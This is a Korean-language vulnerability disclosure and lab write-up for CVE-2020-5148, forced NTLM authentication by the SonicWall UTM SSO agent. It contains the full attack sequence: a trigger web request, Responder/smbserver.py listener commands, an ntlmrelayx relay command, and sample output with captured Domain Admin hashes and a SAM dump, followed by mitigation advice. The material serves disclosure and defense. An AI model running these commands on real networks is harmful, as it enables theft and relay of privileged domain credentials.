
CVE-2020-5148 - SonicWall UTM SSO 에이전트의 강제 인증. 에이전트는 검증되지 않은 워크스테이션을 Domain Admin으로 탐색하여, 단 한 번의 아웃바운드 웹 요청으로 권한 있는 NTLMv2 해시를 획득합니다. 권고 SNWLID-2021-0003.
SonicWall UTM SSO 에이전트의 강제 인증(Forced Authentication)
SonicWall SSO 에이전트는 NetAPI(기본값) 또는 WMI로 해당 워크스테이션을 프로빙하여 주어진 IP 주소 뒤에 있는 사용자를 식별합니다. 이 에이전트는 NTLM 인증을 시작하기 전에 워크스테이션을 검증하지 않으며, 세션이 유지되는 동안 동일한 주소를 계속 폴링합니다.
SSO 에이전트 서비스는 프로빙하는 모든 워크스테이션과 서버에 대한 관리 권한을 요구하므로, 실제 배포에서는 도메인 관리자(Domain Admin) 권한으로 실행됩니다. 따라서 UTM 어플라이언스를 통해 웹 트래픽을 라우팅할 수 있는 인증되지 않은 모든 사용자는 도메인 관리자 계정이 자신이 선택한 호스트에 인증하도록 만들 수 있으며, 해당 인증을 캡처하거나 릴레이할 수 있습니다.
CVE-2020-5148로 게시되었으며, 공급업체 권고는 SNWLID-2021-0003입니다.
Show Up Show Out Security의 Sedric Louissaint가 발견하고 보고했습니다.
| CVE | CVE-2020-5148 |
| 제품 | SonicWall UTM 어플라이언스 및 SSO 에이전트 / Directory Services Connector |
| 영향 | SSO 에이전트 4.1.10.0, Directory Services Connector 4.1.17 및 이전 버전 |
| 수정 버전 | NVD는 Directory Services Connector 4.1.19에서 수정된 것으로 기록함 (아래 참고 사항 확인) |
| 취약점 | CWE-287: 부적절한 인증(Improper Authentication) |
| CVSS 3.1 (NVD) | 8.2 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N |
| CVSS (연구자) | 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| 게시일 | 2021-03-05 |
| 테스트 환경 | Microsoft Windows Server 2012 R2 Standard |
| 필요한 인증 | 없음 |
| 공급업체 권고 | https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003 |
NVD 설명:
SonicWall SSO 에이전트의 기본 구성은 NetAPI를 사용하여 네트워크의 관련 IP를 프로빙합니다. 이 클라이언트 프로빙 방식은 잠재적 공격자가 비밀번호 해시를 캡처할 수 있게 합니다.

주석은 공급업체 다이어그램에서 누락된 부분을 표시합니다:
SSO 에이전트 서비스는 쿼리를 수행하려면 모든 관련 워크스테이션과 서버에 대한 관리자 권한이 필요합니다. 실질적으로 모든 배포에서 서비스 계정은 도메인 관리자입니다.
따라서 검증되지 않은 호스트에 전달되는 자격 증명은 디렉터리에서 가장 높은 권한을 가진 계정입니다.

이용 코드(exploit)는 없습니다. 어플라이언스가 처리하는 세그먼트에서 나가는 모든 웹 요청이면 충분합니다:
curl sonicwall.com

URL은 중요하지 않으며 요청이 성공할 필요도 없습니다. 어플라이언스는 인식되지 않은 IP의 트래픽을 관찰하고 SSO 에이전트에게 해당 사용자를 식별하도록 요청하며, 에이전트는 해당 IP에 인증합니다.
Responder 또는 smbserver.py가 수신 대기 중이면 에이전트의 NTLMv2 인증이 요청 없이 도착하며, 폴링 동작으로 인해 계속 도착합니다:
[SMB] NTLMv2-SSP Client : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash : ...

크래킹은 선택 사항입니다. SMB 서명이 적용되지 않는 환경에서는 인증을 다른 호스트로 실시간 릴레이할 수 있으며, 해당 호스트는 이 연결을 겉으로 보이는 권한 있는 계정으로 취급합니다:
ntlmrelayx.py -t <target> -smb2support -of <output>
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

이 인증은 인증되지 않은 웹 요청에 의해 트리거되고 완전히 다른 머신에서 소비되며, 이것이 권고에서 설명된 전체 ACL 우회입니다.
소유했거나 테스트 승인을 받은 랩에서, SSO용으로 구성된 UTM 어플라이언스와 기본 NetAPI 클라이언트 프로빙 방식을 사용하는 SSO 에이전트가 있다면:
sudo responder -I <interface>
# 또는
sudo smbserver.py c . -smb2support
curl sonicwall.com
ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
전체 명령 시퀀스는 poc/repro.sh에 있습니다.
poc/
repro.sh 리스너, 트리거 및 릴레이 명령, 주석 처리됨, 먼저 읽어도 안전함
notes.md NetAPI가 이를 트리거하는 이유, WMI가 변경하는 점, 탐지 지침
media/
01-sso-flow-annotated.png
02-curl-crossing-network-boundary.png
03-ntlmv2-hashes-captured.png
04-ntlmrelayx-sam-dump.png
05-sso-agent-version-4.1.10.0.png
캡처에 포함된 사용자 이름, 해시 및 내부 주소는 편집되었거나 원래 랩에서 가져온 것입니다.
administrator가 SSO 에이전트 서비스, 도메인 컨트롤러, Exchange 서버 또는 터미널 서버를 통해 로그인하는 것을 허용하지 마십시오. 계정을 권한 있는 상태로 유지해야 한다면 오프라인 크래킹이 현실적으로 불가능할 만큼 긴 비밀번호(20자 이상)를 사용하고 절대 재사용하지 마십시오.| 날짜 | 이벤트 |
|---|---|
| 2020 | 발견 및 SonicWall에 보고 |
| 2021-03-05 | CVE-2020-5148 게시, 권고 SNWLID-2021-0003 |
공급업체 공개 이후 방어 및 교육 목적으로 게시되었습니다. 여기에는 이용 코드가 없습니다. 필요한 것이 없기 때문이며, 이것이 이 발견의 핵심입니다. 소유하지 않았거나 서면 테스트 승인을 받지 않은 네트워크에서 이러한 명령을 실행하지 마십시오.